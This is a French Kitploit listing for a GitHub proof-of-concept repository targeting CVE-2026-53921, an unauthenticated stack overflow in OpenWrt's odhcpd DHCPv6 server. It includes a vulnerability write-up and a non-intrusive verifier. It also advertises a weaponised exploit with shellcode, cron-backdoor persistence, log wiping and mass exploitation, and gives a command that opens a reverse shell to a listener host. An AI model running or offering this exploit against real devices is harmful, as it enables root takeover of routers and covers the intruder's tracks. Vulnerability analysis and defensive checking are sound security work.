Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-53921-PoC-Exploit — CVE-2026-53921 – Débordement de pile odhcpd (CVSS 9.8) 🛡️ Write-Up détaillé et complet de la vulnérabilité, avec vérificateur et multi-exploit pour l'exécution de code à distance (RCE) DHCPv6 sur OpenWrt. Débordement à double vecteur (IA_NA/IA_PD) avec shellcode MIPS/ARM, chaînes ROP, proxy SOCKS5, persistance, effacement des journaux et balayage de masse. Utilisez de manière éthique, restez dans la légalité. 🔒 | Kitploit
Outils/GitHubGitHub/tc4dy/cve-2026-53921-poc-exploit
Sécurité des Systèmes EmbarquésReconnaissanceFrameworks d'ExploitationSécurité IoTAnalyse des VulnérabilitésExploitationPost-ExploitationRed TeamingGénération de Shellcode

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2026-53921 – Débordement de pile odhcpd (CVSS 9.8) 🛡️ Write-Up détaillé et complet de la vulnérabilité, avec vérificateur et multi-exploit pour l'exécution de code à distance (RCE) DHCPv6 sur OpenWrt. Débordement à double vecteur (IA_NA/IA_PD) avec shellcode MIPS/ARM, chaînes ROP, proxy SOCKS5, persistance, effacement des journaux et balayage de masse. Utilisez de manière éthique, restez dans la légalité. 🔒

Développement de Charges Utiles
Exploitation de Binaires
GitHubtc4dy/cve-2026-53921-poc-exploit

CVE-2026-53921-PoC-Exploit

Voir le dépôt
6142il y a 11 joursPas encore vérifié
Partager

CVE-2026-53921

CVE-2026-53921 – Débordement de pile odhcpd

CVE CVSS OpenWrt

  • À des fins éducatives et de tests autorisés uniquement. Toute utilisation non autorisée est illégale.**

Aperçu de la vulnérabilité

CVE-2026-53921 est un débordement de tampon de pile critique dans le démon odhcpd d'OpenWrt – le serveur DHCPv6/DHCPv4/RA par défaut.

Fonctionnement

La vulnérabilité réside dans le code de traitement des messages DHCPv6 d'odhcpd, plus précisément dans les fonctions build_ia() et dhcpv6_ia_handle_IAs().

Analyse technique approfondie

1. La cause racine

Le bug se produit lors de la sérialisation (empaquetage) des paquets DHCPv6 Reply. Lorsqu'odhcpd répond aux requêtes des clients, il construit la réponse dans un tampon de pile de taille fixe de 512 octets sans vérification correcte des limites.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Déclenchement du débordement

Un attaquant envoie une requête DHCPv6 Request (ou Solicit) avec :

  • 5 options IA_NA (Identity Association for Non-temporary Address) ou plus, chacune contenant une sous-option IAAddress.
  • 22 options IA_PD (Identity Association for Prefix Delegation) ou plus.

Chaque option consomme de l'espace de pile à mesure qu'odhcpd construit sa réponse. Les données accumulées dépassent 512 octets, provoquant le débordement.

3. Deux vecteurs de débordement


Vecteur Déclencheur Point de débordement


Site 1 5 options IA_NA build_ia() pour IA_NA avec adresses IPv6

Site 2 22 options IA_PD build_ia() pour IA_PD

La cause racine est identique, mais le débordement se produit dans des chemins de code différents, rendant les deux vecteurs tout aussi exploitables.

4. Disposition de la mémoire

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

L'attaquant écrase l'adresse de retour sauvegardée pour la faire pointer vers son shellcode en mémoire.

5. Conditions d'exploitation


Condition Description


Accès réseau L'attaquant doit disposer d'une connectivité IPv6 vers la cible

Authentification Aucune -- attaque non authentifiée

Privilèges odhcpd s'exécute en tant que root, donc une RCE accorde le contrôle total du système

Service cible Le port UDP 547 (DHCPv6) doit être ouvert

6. Placement du shellcode

Dans un exploit réel, le shellcode de l'attaquant est placé dans les champs d'adresse IPv6 IAAddress (16 octets par IA_NA). Les paquets forgés empaquettent le shellcode, le NOP sled et l'adresse de retour dans ces champs.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Chaîne d'impact

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Vecteurs d'attaque vs. état des correctifs

Version État RCE possible ?


odhcpd < e432dd6 Vulnérable [+] Oui OpenWrt < 24.10.8 Vulnérable [+] Oui OpenWrt < 25.12.5 Vulnérable [+] Oui OpenWrt 24.10.8+ Corrigé [-] Non OpenWrt 25.12.5+ Corrigé [-] Non odhcpd master + e432dd6 Corrigé [-] Non

9. Exploitation dans le monde réel

Cette vulnérabilité est particulièrement dangereuse car :

  • odhcpd est activé par défaut sur les installations OpenWrt.
  • Aucune authentification n'est requise---tout appareil sur le même segment IPv6 peut attaquer.
  • Le bug se situe dans le chemin de traitement des requêtes.
  • Les canaris de pile et l'ASLR sont rarement présents sur les appareils embarqués MIPS/ARM.
  • L'exploit peut contourner les défenses courantes dans de nombreux environnements embarqués.

Versions affectées

ComposantVersions vulnérablesCorrigé dans
odhcpd (branche master)avant le commit e432dd6e432dd6 ou ultérieur
Versions OpenWrt< 24.10.8
< 25.12.5
24.10.8 & 25.12.5

Outils

Ce dépôt fournit deux scripts indépendants :

ScriptObjectifCode d'exploitSécurité
verifier.pyVérification de vulnérabilité non intrusive[-] Non[+] Sûr
exploit.pyExploit complet weaponisé[+] Oui[!] Dangereux

verifier.py – Vérificateur de vulnérabilité

  • Envoie un Solicit DHCPv6 standard pour vérifier que le service est actif.
  • Lit les bannières HTTP/SSH pour détecter la version d'OpenWrt.
  • Compare la version à la plage vulnérable connue.
  • N'envoie pas de charge utile de débordement ni de shellcode.

exploit.py – Exploit complet

  • Vecteurs de double débordement : IA_NA (Site1) et IA_PD (Site2).
  • Détection automatique de l'architecture (MIPS / ARM).
  • Shellcode reverse & bind MIPS big‑endian.
  • Prise en charge d'un proxy SOCKS5.
  • Persistance (backdoor cron) et effacement des journaux.
  • Scan multithread & exploitation de masse.
  • Encodage optionnel de la charge utile (XOR).

Installation

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

Utilisation

Vérificateur – vérifier si une cible est vulnérable

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – obtenir un reverse shell (ne pas utiliser pour des activités illégales, uniquement pour des tests autorisés)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

Options de ligne de commande

verifier.py

ArgumentDescription
-u, --targetAdresse IPv6 cible (requis)
-i, --ifaceInterface réseau (par défaut : eth0)

exploit.py

Télécharger l’outil